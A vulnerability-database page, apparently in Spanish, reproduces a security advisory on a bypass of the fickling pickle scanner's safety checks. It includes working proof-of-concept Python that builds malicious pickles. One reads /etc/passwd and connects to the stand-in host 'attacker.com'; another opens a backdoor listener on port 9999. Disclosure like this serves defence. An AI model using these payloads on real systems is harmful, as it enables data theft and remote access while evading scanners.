p PatchFirst

GHSA-mhc9-48gj-9gp3

GHSA-mhc9-48gj-9gp3 · Fickling has safety check bypass via REDUCE+BUILD opcode sequence

Esta página presenta datos de fuentes públicas de vulnerabilidades. Consulta el aviso original antes de actualizar.

Esta página muestra una selección de datos de las fuentes. Consulte los avisos enlazados para ver la descripción completa y las versiones afectadas.

# Assessment It is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400). # Original report ### Summary All 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection. ## Details The bypass exploits three weaknesses in fickling's static analysis pipeline: 1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc. 2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged. 3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism). ### Affected versions All versions through 0.1.7 (latest as of 2026-02-18). ### Affected APIs - `fickling.is_likely_safe()` - returns `True` for bypass payloads - `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE` - `fickling --check-safety` CLI - exits with code 0 - `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes - `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes ## PoC A single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`: ```python import io, struct, tempfile, os def sbu(s): """SHORT_BINUNICODE opcode helper.""" b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def make_exfiltration_pickle(): """ Single pickle that: 1. Reads /etc/passwd via fileinput.input() 2. Opens TCP connection to attacker via smtplib.SMTP() Both operations pass as LIKELY_SAFE. """ buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # --- Operation 1: Read /etc/passwd --- payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b"0") # POP (discard result) # --- Operation 2: Connect to attacker --- payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b".") # STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() # Generate and test data = make_exfiltration_pickle() with open("/tmp/exfil.pkl", "wb") as f: f.write(data) import fickling print(fickling.is_likely_safe("/tmp/exfil.pkl")) # Output: True <-- BYPASSED (file read + network connection in one pickle) ``` fickling decompiles this to: ```python from fileinput import input _var0 = input('/etc/passwd') # reads /etc/passwd _var1 = _var0 _var1.__setstate__({'_x': 'y'}) from smtplib import SMTP _var2 = SMTP('attacker.com') # opens TCP connection to attacker _var3 = _var2 _var3.__setstate__({'_x': 'y'}) result = _var3 ``` Yet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded). **CLI verification:** ```bash $ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?" EXIT: 0 # BYPASSED - file read + network access passes as safe ``` **`always_check_safety()` verification:** ```python import fickling, pickle fickling.always_check_safety() # This should raise UnsafeFileError for malicious pickles, but doesn't: with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ``` **`check_safety()` context manager verification:** ```python import fickling, pickle with fickling.check_safety(): with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ``` ### Backdoor listener PoC (most impactful) A pickle that opens a TCP listener on port 9999, binding to all interfaces: ```python import io, struct def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def make_backdoor_listener(): buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # socketserver.TCPServer via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93") # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types payload.write(b"(") # MARK payload.write(sbu("0.0.0.0")) # host string payload.write(b"J" + struct.pack("<i", 9999)) # BININT port payload.write(b"t") # TUPLE # Handler class via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93") payload.write(b"\x86") # TUPLE2 -> (address, handler) payload.write(b"R") # REDUCE -> TCPServer(address, handler) payload.write(b"N") # NONE payload.write(b"b") # BUILD(None) -> no-op payload.write(b".") # STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() import fickling, pickle, socket data = make_backdoor_listener() with open("/tmp/backdoor.pkl", "wb") as f: f.write(data) print(fickling.is_likely_safe("/tmp/backdoor.pkl")) # Output: True <-- BYPASSED server = pickle.loads(data) # Port 9999 is now LISTENING on all interfaces s = socket.socket() s.connect(("127.0.0.1", 9999)) print("Connected to backdoor port!") # succeeds s.close() server.server_close() ``` The TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns. ## Impact An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include: - **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate(

CVSS 5.3 · Media · Corrección disponible

Publicación
Actualización

Pila tecnológica: python

Productos y versiones afectados

  • fickling PyPI

    Versiones
    • 0.0.1
    • 0.0.2
    • 0.0.3
    • 0.0.4
    • 0.0.5
    • 0.0.6
    • 0.0.7
    • 0.0.8
    • 0.1.2
    • 0.1.3
    • 0.1.4
    • 0.1.5
    • 0.1.6
    • 0.1.7
    Intervalos de versiones afectados
    • ECOSYSTEM: < 0.1.8

    Actualiza a 0.1.8

Fuentes originales

Comprueba tu servidor →